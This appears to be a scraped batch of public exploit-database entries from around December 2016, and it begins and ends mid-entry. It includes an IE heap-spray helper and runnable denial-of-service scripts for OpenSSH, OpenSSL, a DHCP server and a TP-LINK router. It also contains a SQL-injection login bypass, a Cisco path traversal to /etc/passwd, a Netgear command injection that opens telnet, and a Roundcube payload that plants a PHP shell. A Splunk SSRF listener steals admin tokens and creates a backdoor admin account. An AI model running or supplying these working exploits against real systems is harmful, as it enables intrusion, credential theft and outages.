  // back. Useful for debugging: use a bad pointer, get an AV whenever it is
  // used, then fix pointer and continue with exception handled to have see what
  // happens next.
  return 0x80000000 + p­Address;
}
function blanket(d­Spray_­dw­Value_­p­Address, p­Address) {
  // Can be used to store values that indicate offsets somewhere in the heap
  // spray. Useful for debugging: blanket region, get an AV at an address
  // that indicates where the pointer came from. Does not overwrite addresses
  // at which data is already stored.
  for (var u­Offset = 0; u­Offset < 0x40; u­Offset += 4) {
    if (!((p­Address + u­Offset) in d­Spray_­dw­Value_­p­Address)) {
      d­Spray_­dw­Value_­p­Address[p­Address + u­Offset] = bad(((p­Address & 0x­FFF) << 16) + u­Offset);
    }
  }
}
var gu­Spray­Block­Size = 0x02000000; // how much fragmentation do you want?
var gu­Spray­Page­Size  = 0x00001000; // block alignment.

// Different versions of MSIE have different heap header sizes:
var s­JSVersion;
try{
  /*@cc_­on @*/
  s­JSVersion = eval("@_jscript_­version");
} catch(e) {
  s­JSVersion = "unknown"
};
var gu­Heap­Header­Size = {
    "5.8": 0x24,
    "9": 0x10, // MSIE9
    "unknown": 0x10
}[s­JSVersion]; // includes BSTR length
var gu­Heap­Footer­Size = 0x04;
if (!gu­Heap­Header­Size)
    throw new Error("Unknown script version " + s­JSVersion);

function create­Spray­Block(d­Spray_­dw­Value_­p­Address) {
  // Create a spray "page" and store spray data at the right offset.
  var s­Spray­Page = "\u­DEAD".repeat(gu­Spray­Page­Size >> 1);
  for (var p­Address in d­Spray_­dw­Value_­p­Address) {
    s­Spray­Page = s­Spray­Page.replace­DWord(p­Address % gu­Spray­Page­Size, d­Spray_­dw­Value_­p­Address[p­Address]);
  }
  // Create a spray "block" by concatinated copies of the spray "page", taking into account the header and footer
  // used by MSIE for larger heap allocations.
  var u­Spray­Pages­Per­Block = Math.ceil(gu­Spray­Block­Size / gu­Spray­Page­Size);
  var s­Spray­Block = (
    s­Spray­Page.substr(gu­Heap­Header­Size >> 1) +
    s­Spray­Page.repeat(u­Spray­Pages­Per­Block - 2) +
    s­Spray­Page.substr(0, s­Spray­Page.length - (gu­Heap­Footer­Size >> 1))
  );
  var u­Actual­Spray­Block­Size = gu­Heap­Header­Size + s­Spray­Block.length * 2 + gu­Heap­Footer­Size;
  if (u­Actual­Spray­Block­Size != gu­Spray­Block­Size)
      throw new Error("Assertion failed: spray block (" + u­Actual­Spray­Block­Size.to­String(16) + ") should be " + gu­Spray­Block­Size.to­String(16) + ".");
  console.log("create­Spray­Block():");
  console.log("  s­Spray­Page.length: " + s­Spray­Page.length.to­String(16));
  console.log("  u­Spray­Pages­Per­Block: " + u­Spray­Pages­Per­Block.to­String(16));
  console.log("  s­Spray­Block.length: " + s­Spray­Block.length.to­String(16));
  return s­Spray­Block;
}
function get­Heap­Block­Index­For­Address(p­Address) {
  return ((p­Address % gu­Spray­Page­Size) - gu­Heap­Header­Size) >> 1;
}
function get­Spray­Block­Count(d­Spray_­dw­Value_­p­Address, p­Start­Address) {
  p­Start­Address = p­Start­Address || 0;
  var p­Target­Address = 0x0;
  for (var p­Address in d­Spray_­dw­Value_­p­Address) {
    p­Target­Address = Math.max(p­Target­Address, p­Address);
  }
  u­Spray­Blocks­Count = Math.ceil((p­Target­Address - p­Start­Address) / gu­Spray­Block­Size);
  console.log("get­Spray­Block­Count():");
  console.log("  p­Target­Address: " + p­Target­Address.to­String(16));
  console.log("  u­Spray­Blocks­Count: " + u­Spray­Blocks­Count.to­String(16));
  return u­Spray­Blocks­Count;
}
function spray­Heap(d­Spray_­dw­Value_­p­Address, p­Start­Address) {
  var u­Spray­Blocks­Count = get­Spray­Block­Count(d­Spray_­dw­Value_­p­Address, p­Start­Address);
  // Spray the heap by making copies of the spray "block".
  var as­Spray = new Array(u­Spray­Blocks­Count);
  as­Spray[0] = create­Spray­Block(d­Spray_­dw­Value_­p­Address);
  for (var u­Index = 1; u­Index < as­Spray.length; u­Index++) {
    as­Spray[u­Index] = as­Spray[0].clone();
  }
  return as­Spray;
}
Time-line
13 October 2012: This vulnerability was found through fuzzing.
29 October 2012: This vulnerability was submitted to EIP.
18 November 2012: This vulnerability was submitted to ZDI.
27 November 2012: EIP declines to acquire this vulnerability because they believe it to be a copy of another vulnerability they already acquired.
7 December 2012: ZDI declines to acquire this vulnerability because they believe it not to be exploitable.

During the initial report detailed above, I did not have a working exploit to prove exploitability. I also expected the bug to be fixed soon, seeing how EIP believed they already reported it to Microsoft. However, about two years later, I decided to look at the issue again and found it had not yet been fixed. Apparently it was not the same issue that EIP reported to Microsoft. So, I decided to try to have another look and developed a Proof-of-Concept exploit.

April 2014: I start working on this case again, and eventually develop a working Proof-of-Concept exploit.
6 November 2014: ZDI was informed of the new analysis and reopens the case.
15 November 2014: This vulnerability was submitted to i­Defense.
16 November 2014: i­Defense responds to my report email in plain text, potentially exposing the full vulnerability details to world+dog.
17 November 2014: ZDI declines to acquire this vulnerability after being informed of the potential information leak.
11 December 2012: This vulnerability was acquired by i­Defense.
The accidentally potential disclosure of vulnerability details by i­Defense was of course a bit of a disappointment. They reported that they have since updated their email system to automatically encrypt emails, which should prevent this from happening again.

9 June 2015: Microsoft addresses this vulnerability in MS15-056.
6 December 2016: Details of this vulnerability are released.
-->
HireHackking 
#!/usr/bin/python
# wlanautoconfig-poc.py
#
# Windows WLAN AutoConfig Named Pipe POC
#
# Jeremy Brown [jbrown3264/gmail]
# Dec 2016
#
# >	wifinetworkmanager.dll!__FatalError(char const *,unsigned # long,char const *, ...)
#	AsyncPipe::ReadCompletedCallback(void)
#	AsyncPipe::Dispatch(int,void *,void *, ...)
#	Synchronizer::EnqueueEvent(...)
#	AsyncPipe::ReadCompletedStatic(...)
#
# --> STATUS_STACK_BUFFER_OVERRUN @ svchost.exe
#
# Tested:
#
# Windows 10 x86/x64 BUILD 10.0.14393 (vulnerable)
# Windows Server 2012 R2 x64 (not vulnerable, service doesn't create pipe)
#
# Dependencies:
#
# pip install pypiwin32
#
# Notes:
#
# This won't kill Wlansvc service, but the thread servicing the pipe will terminate
#

import win32file
import pywintypes
import msvcrt

BUF_SIZE = 4096
PIPE_NAME = r'\\.\pipe\WiFiNetworkManagerTask'

def main():
    try:
        handle = win32file.CreateFile(PIPE_NAME, win32file.GENERIC_WRITE, 0, None, win32file.OPEN_EXISTING, 0, None)
    except Exception:
        print("Error: CreateFile() failed\n")
        return

    fd = msvcrt.open_osfhandle(handle, 0)

    if(fd < 0):
        print("Error: open_osfhandle() failed\n")
        return

    buf = bytearray(b'\x42' * BUF_SIZE)

    # exact number here could vary, keeping it simple
    while True:
        win32file.WriteFile(handle, buf)


if __name__ == "__main__":
    main()
HireHackking 
# Exploit Title: Edge SkateShop Authentication Bypass
# Date: 6/12/2016
# Exploit Author: Delilah
# Vendor HomePage: http://www.sourcecodester.com/php/10964/basic-shopping-cartphpmysql.html
# Software Link: http://www.sourcecodester.com/sites/default/files/download/gebbz/edgesketch.zip
# Tested on: xampp

go to http://localhost/EdgeSketch/adminlogin.php
 
username = admin' #
 
password = anything

# Proof of Concept:

POST /EdgeSketch/adminlogin.php HTTP/1.1
Host: 10.0.2.15
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://10.0.2.15/EdgeSketch/
Cookie: PHPSESSID=5n96kq5kd17joptp1sivhm4tl4
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 60

admin_username=admin'%20#&admin_password=fdgdhf&admin_login=



HTTP/1.1 200 OK
Date: Tue, 06 Dec 2016 16:10:00 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2h PHP/5.6.28
X-Powered-By: PHP/5.6.28
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 107
Connection: close
Content-Type: text/html; charset=UTF-8

<script>alert('You're successfully login!')</script><script>window.open('Admin/index.php','_self')</script>
HireHackking 
# Title :  Dual DHCP DNS Server 7.29 Buffer Overflow (Dos)
# Date : 07/12/2016
# Author : R-73eN
# Tested on: Dual DHCP DNS Server 7.29 on Windows 7 SP1 (32bit)
# Vendor : http://dhcp-dns-server.sourceforge.net/
# Software : https://sourceforge.net/projects/dhcp-dns-server/files/Dual%20DHCP%20DNS%20Server/DualServerInstallerV7.29.exe/download
# Vulnerability Description:
# The software crashes when it tries to write to an invalid address.
#
# MOV EBX,DWORD PTR SS:[EBP+8] -> EBP+8 is part of our controlled input
# MOV DWORD PTR SS:[ESP+4],31              
# MOV DWORD PTR SS:[ESP],1 
# .........................
# MOV DWORD PTR DS:[EBX+24],EAX -> Here happens the corruption, EAX fails to move EBX which is our controlled adress + 24 bytes.
#
# I think this vulnerability is not exploitable because every module that is loaded has ASLR/DEP/SAFESEH enabled (Win 7)
# Even if we try to put some valid pointers to manipulate the execution flow we can't because every address on the DualServ.exe 
# contains 00 which is a badchar in our case.
#

import socket
import time
import sys

banner = "\n\n"
banner +="  ___        __        ____                 _    _  \n" 
banner +=" |_ _|_ __  / _| ___  / ___| ___ _ __      / \  | |    \n"
banner +="  | || '_ \| |_ / _ \| |  _ / _ \ '_ \    / _ \ | |    \n"
banner +="  | || | | |  _| (_) | |_| |  __/ | | |  / ___ \| |___ \n"
banner +=" |___|_| |_|_|  \___/ \____|\___|_| |_| /_/   \_\_____|\n\n"
print banner

host = ""
port = 6789

def send_request(host,port,data):
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	try:
		s.connect((host,port))
		s.send(data)
		print "[+] Malicious Packet Sent [+]\n"
		
	except Exception:
		print "[+] Exploit failed . . .[+]\n"
	s.close()

	

ebx = "BBBB"
eax = "CCCC"
evil = "A" * 497 + eax + "AAAA" + ebx + "D" * 400

if(len(sys.argv) < 1):
    print '\n Usage : exploit.py ipaddress\n'
    exit(0)
else:
    host = sys.argv[1]

#The method doesn't really matters. It gets valideted only about the length
request = "HEAD /{REPLACE} HTTP/1.1\r\nHost: " + str(host) + "\r\nUser-agent: Fuzzer\r\n\r\n"
send_request(host,port,request.replace("{REPLACE}",evil))
HireHackking 
# Exploit Title: TP-LINK TD-W8951ND - Denial of Service
# Date: 2016-12-07
# Exploit Author: Persian Hack Team
# Discovered by : Mojtaba MobhaM 
# Tested on: Windows AND Linux
# Demo Construction : https://youtu.be/7mv_rW3mtVE

#!/usr/bin/python
import urllib

site=raw_input("Enter IP Address : ")
if (site.find('http://')<0):
    strh = "http://"
    url=strh+site
else:
    url=site

try:
    url += "/Forms/status_1?flagFresh=0&1 and benchmark(20000000%2csha1(1))--=1"
    r = urllib.urlopen(url)
    print r.code
    print "Done!!"
except:
    pass
HireHackking 
# Exploit Title: Cisco Unified Communications Manager Administrative Web Interface Directory traversal CVE-2013-5528
# Date: 7th December 2016
# Exploit Author: justpentest
# Vendor Homepage: https://software.cisco.com/
# Software Link: https://software.cisco.com/download/navigator.html?mdfid=268439621
# Version: Cisco Unified Communications Manager Administrative Web Interface unpatched version of 7.x, 8.x or 9.x software
# Contact: transform2secure@gmail.com
# CVE : CVE-2013-5528


1) Description: 
Directory traversal vulnerability exists in Cisco Unified Communications Manager Administrative Web Interface CVE-2013-5528.
The vulnerability is due to a failure to properly sanitize user-supplied input passed to a specific function. 
An attacker could exploit this vulnerability by supplying a series of directory traversal characters after authentication, allowing the attacker to designate a file outside the restricted directory to be returned. 
An exploit could allow the attacker to obtain the contents of any file that is readable by the Apache Tomcat service account.

2) Exploit:
http://justpentest.com/ccmadmin/bulkvivewfilecontents.do?filetype=samplefile&fileName=../../../../../../../../../../../../../../../../etc/passwd

3) Fixed version:
Cisco has fixed the vulnerability in 9.1.2, 10.5.2 and 11.5.x.

For more details visit http://justpentest.blogspot.in/2016/12/lfi-and-xss-on-cisco-unified-CM-CVE-2013-5528.html

4) References:
 https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/Cisco-SA-20131011-CVE-2013-5528 
https://bst.cloudapps.cisco.com/bugsearch/bug/CSCui78815
HireHackking 
################################################################################
# Title		: OpenSSH before 7.3 Crypt CPU Consumption (DoS Vulnerability)
# Author	: Kashinath T (tkashinath@secpod.com) (www.secpod.com)
# Vendor	: http://www.openssh.com/
# Software	: http://www.openssh.com/
# Version	: OpenSSH before 7.3
# Tested on	: Ubuntu 16.04 LTS, Centos 7
# CVE 		: CVE-2016-6515
# Date		: 20-10-2016
#
# NOTE:
# If the remote machine is installed and running OpenSSH version prior to 7.3,
# it does not limit the password length for authentication. Hence, to exploit
# this vulnerability' we will send a crafted data which is of 90000 characters
# in length to the 'password' field while attempting to log in to a remote
# machine via ssh with username as 'root'.
#
# For more info refer,
# http://www.secpod.com/blog/openssh-crypt-cpu-consumption
################################################################################

import sys
from random import choice
from string import lowercase

try:
    import paramiko
except ImportError:
    print "[-] python module 'paramiko' is missing, Install paramiko with" \
          " following command 'sudo pip install paramiko'"
    sys.exit(0)


class ssh_exploit:

    def __init__(self):
        """
        Initialise the objects
        """

    def ssh_login(self, remote_ip):

        try:
            # Crafted password of length 90000
            passwd_len = 90000
            crafted_passwd = "".join(choice(lowercase)
                                     for i in range(passwd_len))

            # Connect to a remote machine via ssh
            ssh = paramiko.SSHClient()
            ssh.load_system_host_keys()
            ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

            # calling connect in infinite loop
            print "[+] Entering infinite loop"
            while 1:
                ssh.connect(remote_ip, username='root',
                            password=crafted_passwd)

        except Exception, msg:
            print "Error in connecting to remote host : ", remote_ip
            print "Exception in : ssh_login method."
            sys.exit(msg)


def main():

    if len(sys.argv) != 2:
        print "usage: python openssh_crypt_cpu_consumption_dos.py 192.168.x.x"
        sys.exit()

    # Calling ssh_connect
    ref_obj = ssh_exploit()
    ref_obj.ssh_login(sys.argv[1])


if __name__ == "__main__":
    main()
HireHackking 
# Exploit Title: Netgear R7000 - Command Injection
# Date: 6-12-2016
# Exploit Author: Acew0rm
# Contact: https://twitter.com/Acew0rm1
# Vendor Homepage: https://www.netgear.com/
# Category: Hardware
# Version: V1.0.7.2_1.1.93

-Vulnerability
An unauthenticated user can inject commands threw
http://RouterIP/cgi-bin/;COMMAND.

-Proof Of Concept
http://RouterIP/;telnetd$IFS-p$IFS'45' will open telnet on port 45.
HireHackking 
Roundcube 1.2.2: Command Execution via Email
============================================
You can find the online version of the advisory here:
https://blog.ripstech.com/2016/roundcube-command-execution-via-email/

Found by Robin Peraglie with RIPS

Introduction
------------
Roundcube is a widely distributed open-source webmail software used by
many organizations and companies around the globe. The mirror on
SourceForge, for example, counts more than 260,000 downloads in the last
12 months which is only a small fraction of the actual users. Once
Roundcube is installed on a server, it provides a web interface for
authenticated users to send and receive emails with their web browser.

Affected Versions: 1.0.0 - 1.2.2

Requirements
------------
- Roundcube must be configured to use PHP's mail() function (by default)
- PHP's mail() function is configured to use sendmail (by default)
- PHP is configured to have safe_mode turned off (by default)
- An attacker must know or guess the absolute path of the webroot

Description
-----------
In Roundcube 1.2.2, and earlier, user-controlled input flows unsanitized
into the fifth argument of a call to PHP's built-in function mail()
which is documented as security critical. The problem is that the
invocation of the mail() function will cause PHP to execute the sendmail
program. The fifth argument allows to pass arguments to this execution
which allows a configuration of sendmail. Since sendmail offers the -X
option to log all mail traffic in a file, an attacker can abuse this
option and spawn a malicious PHP file in the webroot directory of the
attacked server. The following code lines trigger the vulnerability.

program/steps/mail/sendmail.inc
********************************************************************************
$from = rcube_utils::get_input_value('_from', rcube_utils::INPUT_POST,
true, $message_charset);
⋮	
$sent = $RCMAIL->deliver_message($MAIL_MIME, $from, $mailto,$smtp_error,
$mailbody_file, $smtp_opts);
********************************************************************************

Here, the value of the POST parameter "_from" is fetched and Roundcube's
deliver_message() method is invoked with the value used as second
argument $from.

program/lib/Roundcube/rcube.php
********************************************************************************
public function deliver_message(&$message, $from, $mailto, &$error,
&$body_file = null, $options = null) {
	⋮
	if (filter_var(ini_get('safe_mode'), FILTER_VALIDATE_BOOLEAN))
		$sent = mail($to, $subject, $msg_body, $header_str);
	else
		$sent = mail($to, $subject, $msg_body, $header_str, "-f$from");
********************************************************************************

This method will then pass the $from parameter to a call of the mail()
function. The idea is to pass a custom "from" header to the sendmail
program via the "-f" option.

Proof of Concept
----------------
When an email is sent with Roundcube, the HTTP request can be
intercepted and altered. Here, the "_from" parameter can be modified in
order to place a malicious PHP file on the system.

********************************************************************************
example@example.com -OQueueDirectory=/tmp -X/var/www/html/rce.php
********************************************************************************

This allows an attacker to spawn a shell file "rce.php" in the web root
directory with the contents of the "_subject" parameter that can contain
PHP code. After performing the request, a file with the following
content is created:

********************************************************************************
04731 >>> Recipient names must be specified
04731 <<< To: squinty@localhost
04731 <<< Subject: <?php phpinfo(); ?>
04731 <<< X-PHP-Originating-Script: 1000:rcube.php
04731 <<< MIME-Version: 1.0
04731 <<< Content-Type: text/plain; charset=US-ASCII;
04731 <<<  format=flowed
04731 <<< Content-Transfer-Encoding: 7bit
04731 <<< Date: So, 20 Nov 2016 04:02:52 +0100
04731 <<< From: example@example.com -OQueueDirectory=/tmp
04731 <<<  -X/var/www/html/rce.php
04731 <<< Message-ID: <390a0c6379024872a7f0310cdea24900@localhost>
04731 <<< X-Sender: example@example.com -OQueueDirectory=/tmp
04731 <<<  -X/var/www/html/rce.php
04731 <<< User-Agent: Roundcube Webmail/1.2.2
04731 <<<
04731 <<< Funny e-mail message
04731 <<< [EOF]
********************************************************************************

Since the email data is unencoded, the subject parameter will be
reflected in plaintext which allows the injection of PHP tags into the
shell file.

Time Line
---------
* 2016/11/21: First contact with vendor
* 2016/11/28: Vendor agrees to coordinated disclosure
* 2016/11/28: Vendor releases updated version Roundcube 1.2.3
HireHackking 
<!--
Source: http://blog.skylined.nl/20161207001.html

Synopsis

A specially crafted web-page can trigger a memory corruption vulnerability in Microsoft Internet Explorer 9. I did not investigate this vulnerability thoroughly, so I cannot speculate on the potential impact or exploitability.

Known affected software and attack vectors

Microsoft Internet Explorer 9

An attacker would need to get a target user to open a specially crafted web-page. Java­Script does not appear to be required for an attacker to triggering the vulnerable code path.

Details

This bug was found back when I had very little knowledge and tools to do analysis on use-after-free bugs, so I have no details to share. The ZDI did do a more thorough analysis and provide some details in their advisory. I have included a number of reports created using a predecessor of Bug­Id below.

Repro.html:
-->

<!doctype html>
<html>
  <head>
    <script>
      window.onload=function(){location.reload();};
    </script>
  </head>
  <body>
    <var>
      <img class="float" ismap="ismap" usemap="map"/>
      <map id="map"><area/></map>
      <dfn class="float"></dfn>
      <a class="float"></a>
      <input class="zoom"/>
      text
    </var>
    <q class="border float zoom" xml:space="preserve">  </q>
  </body>
  <style type="text/css">
  .float {
    float:left;
  }
  .zoom {
    zoom:3000%;
  }
  .border::first-letter {
    border-top:1px;
  }
  </style>
</html>

<!--
Time-line

1 November 2012: This vulnerability was found through fuzzing.
2 November 2012: This vulnerability was submitted to ZDI.
19 November 2012: This vulnerability was acquired by ZDI.
4 February 2013: This vulnerability was disclosed to Microsoft by ZDI.
29 May 2013: Microsoft addresses this vulnerability in MS13-037.
7 December 2016: Details of this vulnerability are released.
-->
HireHackking 
<!--
Source: http://blog.skylined.nl/20161208001.html

Synopsis

A specially crafted web-page can trigger a memory corruption vulnerability in Microsoft Internet Explorer 9. I did not investigate this vulnerability thoroughly, so I cannot speculate on the potential impact or exploitability.

Known affected software and attack vectors

Microsoft Internet Explorer 9

An attacker would need to get a target user to open a specially crafted web-page. Java­Script does not appear to be required for an attacker to triggering the vulnerable code path.

Details

This bug was found back when I had very little knowledge and tools to do analysis on use-after-free bugs, so I have no details to share. The EIP provided me with some details of their analysis, which I'll paraphrase here: It is a use-after-free vulnerability where the span object in the frame.html file is reused after being freed. It appears to be impossible to reallocate the freed memory before it is reused. Part of the freed memory is overwritten when it is freed because a WORD Free­Entry­Offset value is stored at offset 0. This value is then used as part of a pointer to a vftable in order to call a method. This pointer now consist of the upper 16-bits of the old vftable and the lower 16-bits contain the Free­Entry­Offset value. Exploitation is near impossible without a way to have more control over this pointer in the freed memory block. ZDI also did a more thorough analysis and provide very similar details in their advisory. I have included a number of reports created using a predecessor of Bug­Id below.

Repro.html:
-->

<html>
  <body onload="location.reload();">
    <iframe src="Frame.html"></iframe>
  </body>
</html>

<!--
Frame.html:

<!doctype html>
<html>
  <head>
    <style type="text/css">
      .x{
        display:table-caption;
      }
      .x:first-line{
        text-transform:uppercase;
      }
    </style>
  </head>
  <body>
    <a>
      <span class="x">
        <a>
        </a>
      </span>
    </a>
  </body>
</html>


Time-line

27 September 2012: This vulnerability was found through fuzzing.
3 October 2012: This vulnerability was submitted to EIP.
11 October 2012: This vulnerability was rejected by EIP.
2 November 2012: This vulnerability was submitted to ZDI.
19 November 2012: This vulnerability was acquired by ZDI.
22 January 2013: This vulnerability was disclosed to Microsoft by ZDI.
29 May 2013: Microsoft addresses this vulnerability in MS13-037.
8 December 2016: Details of this vulnerability are released.
-->
HireHackking 
# Exploit Title: OpenSSL 1.1.0a & 1.1.0b Heap Overflow Remote DOS vulnerability
# Date: 11-12-2016
# Software Link: https://www.openssl.org/source/old/1.1.0/
# Exploit Author: Silverfox
# Contact: http://twitter.com/___Silverfox___
# Website: https://www.silverf0x00.com/
# CVE: CVE-2016-7054
# Category: Denial of Service
# Type: Remote
# Platform: Multiple

1. Description
   
Remote unauthenticated user can negotiate ChaCha20-Poly1305 cipher suites and send a message of sufficient length with a bad MAC to trigger the vulnerable code to zero out the heap space and force the vulnerable OpenSSL instance to crash.

https://blog.fortinet.com/2016/11/23/analysis-of-openssl-chacha20-poly1305-heap-buffer-overflow-cve-2016-7054 
https://www.silverf0x00.com/overview-of-mac-algorithms-fuzzing-tls-and-finally-exploiting-cve-2016-7054-part-1/
 
   
2. Proof of Concept
 
 a. Download and compile OpenSSL 1.1.0a or b
 b. Run OpenSSL with the following switches: ./openssl-1.1.0a/bin/openssl s_server -cipher 'DHE-RSA-CHACHA20-POLY1305' -key cert.key -cert cert.crt -accept 443 -www -tls1_2 -msg
 c. Download and run the exploit code (Under https://github.com/silverfoxy/tlsfuzzer package run test-cve-2016-7054.py at https://github.com/silverfoxy/tlsfuzzer/blob/master/scripts/test-cve-2016-7054.py)
 d. OpenSSL Instance crashes causing DOS

### Exploit Code ###
'''
 *  In no event shall the author be liable
 *  for any direct, indirect, incidential, special, exemplary or
 *  consequential damages, including, but not limited to, procurement
 *  of substitute goods or services, loss of use, data or profits or
 *  business interruption, however caused and on any theory of liability,
 *  whether in contract, strict liability, or tort, including negligence
 *  or otherwise, arising in any way out of the use of this software,
 *  even if advised of the possibility of such damage.
'''
from __future__ import print_function
import traceback
import sys

from tlsfuzzer.runner import Runner
from tlsfuzzer.messages import Connect, ClientHelloGenerator, \
        ClientKeyExchangeGenerator, ChangeCipherSpecGenerator, \
        FinishedGenerator, ApplicationDataGenerator, \
        fuzz_encrypted_message
from tlsfuzzer.expect import ExpectServerHello, ExpectCertificate, \
        ExpectServerHelloDone, ExpectChangeCipherSpec, ExpectFinished, \
        ExpectAlert, ExpectClose, ExpectServerKeyExchange

from tlslite.constants import CipherSuite, AlertLevel, AlertDescription

def usage() :
    return 'Usage ./{} Destination_IP Destination_Port'.format(sys.argv[0])

def main():
    if len(sys.argv) < 3:
        print(usage())
        return -1
    conversations = {}
    # 16 chars: POLY1305 tag 128 bit
    # Tampering one bit suffices to damage the mac
    # The payload has to be long enough to trigger heap overflow
    n = 15000
    fuzzes = [(-1, 1)]
    for pos, val in fuzzes:
        conversation = Connect(sys.argv[1], int(sys.argv[2]))
        node = conversation
        ciphers = [CipherSuite.TLS_DHE_RSA_WITH_CHACHA20_POLY1305_SHA256]
        node = node.add_child(ClientHelloGenerator(ciphers))
        node = node.add_child(ExpectServerHello())
        node = node.add_child(ExpectCertificate())
        node = node.add_child(ExpectServerKeyExchange())
        node = node.add_child(ExpectServerHelloDone())
        node = node.add_child(ClientKeyExchangeGenerator())
        node = node.add_child(ChangeCipherSpecGenerator())
        node = node.add_child(FinishedGenerator())
        node = node.add_child(ExpectChangeCipherSpec())
        node = node.add_child(ExpectFinished())
        node = node.add_child(fuzz_encrypted_message(
            ApplicationDataGenerator(b"GET / HTTP/1.0\n" + n * b"A" + b"\n\n"), xors={pos:val}))
        node = node.add_child(ExpectAlert(AlertLevel.fatal,
                                          AlertDescription.bad_record_mac))
        node = node.add_child(ExpectClose())

        conversations["XOR position " + str(pos) + " with " + str(hex(val))] = \
                conversation

    # run the conversation
    good = 0
    bad = 0

    for conversation_name in conversations:
        conversation = conversations[conversation_name]
        #print(conversation_name + "...")
        runner = Runner(conversation)
        res = True
        try:
            runner.run()
        except:
            print("Error while processing")
            print(traceback.format_exc())
            res = False
        if res:
            good+=1
            print("OK")
        else:
            bad+=1

    print("Test end")
    print("successful: {0}".format(good))
    print("failed: {0}".format(bad))

    if bad > 0:
        sys.exit(1)

if __name__ == "__main__":
	main()
### End of Exploit Code ###

3. Solution:
   
Update OpenSSL to version 1.1.0c or later, versions earlier than 1.1.0a are not affected by this vulnerability.
HireHackking 
'''
(    , )     (,
  .   '.' ) ('.    ',
   ). , ('.   ( ) (
  (_,) .'), ) _ _,
 /  _____/  / _  \    ____  ____   _____
 \____  \==/ /_\  \ _/ ___\/  _ \ /     \
 /       \/   |    \\  \__(  <_> )  Y Y  \
/______  /\___|__  / \___  >____/|__|_|  /
        \/         \/.-.    \/         \/:wq
                    (x.0)
                  '=.|w|.='
                  _=''"''=.

                presents..

Splunk Enterprise Server-Side Request Forgery
Affected versions: Splunk Enterprise <= 6.4.3

PDF:
http://security-assessment.com/files/documents/advisory/SplunkAdvisory.pdf

+-----------+
|Description|
+-----------+
The Splunk Enterprise application is affected by a server-side request
forgery vulnerability. This vulnerability can be exploited by an
attacker via social engineering or other vectors to exfiltrate
authentication tokens for the Splunk REST API to an external domain.

+------------+
|Exploitation|
+------------+
==Server-Side Request Forgery==

A server-side request forgery (SSRF) vulnerability exists in the Splunk
Enterprise web management interface within the Alert functionality. The
application parses user supplied data in the GET parameter ‘alerts_id’
to construct a HTTP request to the splunkd daemon listening on TCP port
8089. Since no validation is carried out on the parameter, an attacker
can specify an external domain and force the application to make a HTTP
request to an arbitrary destination host. The issue is aggravated by the
fact that the application includes the REST API token for the currently
authenticated user within the Authorization request header.

This vulnerability can be exploited via social engineering to obtain
unauthorized access to the Splunk REST API with the same privilege level
of the captured API token.

[POC SSRF LINK]
/en-US/alerts/launcher?eai%3Aacl.app=launcher&eai%3Aacl.owner=*&severity=*&alerts_id=[DOMAIN]&search=test

The proof of concept below can be used to listen for SSRF connections
and automatically create a malicious privileged user when an
administrative token is captured.

[POC - splunk-poc.py]
'''

from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
import httplib
import ssl
import requests

token = ''

class MyHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        global token
        try:
            token = self.headers.get('Authorization')[7:]
            print "[+] Captured Splunk API token from GET request"
        except Exception, e:
            print "[-] No API token captured on incoming connection..."

def adminTokenNotCaptured():
    global token
    if token:
        query = "/services/authentication/httpauth-tokens/" + token
        conn = httplib.HTTPSConnection("<SPLUNK IP>", 8089,
context=ssl._create_unverified_context())
        conn.putrequest("GET", query)
        conn.putheader("Authorization", "Splunk %s" % token)
        conn.endheaders()
        context = conn.getresponse().read()
        if 'userName">admin' in context:
            print "[+] Confirmed Splunk API token belongs to admin user"
            print "[+] Admin Splunk API Token: %s" % token
            return False
        else:
            print "[!] Splunk API token does not belong to admin user"

    return True

def poc():
    global token
    create_user_uri = "https://<SPLUNK
IP>:8089/services/authentication/users"
    params = {'name': 'infosec', 'password': 'password', 'roles': 'admin'}
    auth_header = {'Authorization': 'Splunk %s' % token}
    requests.packages.urllib3.disable_warnings()
    response = requests.post(url=create_user_uri, data=params,
headers=auth_header, verify=False)
    if "<title>infosec" in response.content:
       print "[+] POC admin account 'infosec:password' successfully
created"
    else:
       print "[-] No account was created"
       print response.content

if __name__ == "__main__":
    try:
        print "[+] Starting HTTP Listener"
        server = HTTPServer(("", 8080), MyHandler)
        while adminTokenNotCaptured():
            server.handle_request()
        poc()
    except KeyboardInterrupt:
        print "[+] Stopping HTTP Listener"
        server.socket.close()

'''
+----------+
| Solution |
+----------+
Update to Splunk 6.5.0 or later. Full information about all patched
versions are provided in the reference links below.

+------------+
|  Timeline  |
+------------+
24/08/2016 – Initial disclosure to vendor
25/08/2016 – Vendor acknowledges receipt of the advisory and confirms
vulnerability.
28/09/2016 – Sent follow up email asking for status update
30/09/2016 – Vendor replies fixes are being backported to all supported
versions of the software.
10/11/2016 – Vendor releases security advisory and patched software versions
09/12/2016 – Public disclosure

+------------+
| Additional |
+------------+
http://security-assessment.com/files/documents/advisory/SplunkAdvisory.pdf
https://www.splunk.com/view/SP-CAAAPSR [SPL-128840]
'''
HireHackking 
<!--
Source: http://blog.skylined.nl/20161209001.html

Synopsis

A specially crafted web-page can trigger a memory corruption vulnerability in Microsoft Internet Explorer 9. I did not investigate this vulnerability thoroughly, so I cannot speculate on the potential impact or exploitability.

Known affected software and attack vectors

Microsoft Internet Explorer 9

An attacker would need to get a target user to open a specially crafted web-page. Disabling Java­Script should prevent an attacker from triggering the vulnerable code path.

Details

This bug was found back when I had very little knowledge and tools to do analysis on use-after-free bugs, so I have no details to share. In addition, EIP said they were already aware of the bug and provided no details, this issue appears to have been fixed before ZDI was able to look at it. I have included a number of reports created using a predecessor of Bug­Id below.

Repro.html:
-->

<html>
  <head>
    <script src="get­Element­Tree.js"></script>
    <script src="show.html"></script>
    <script>
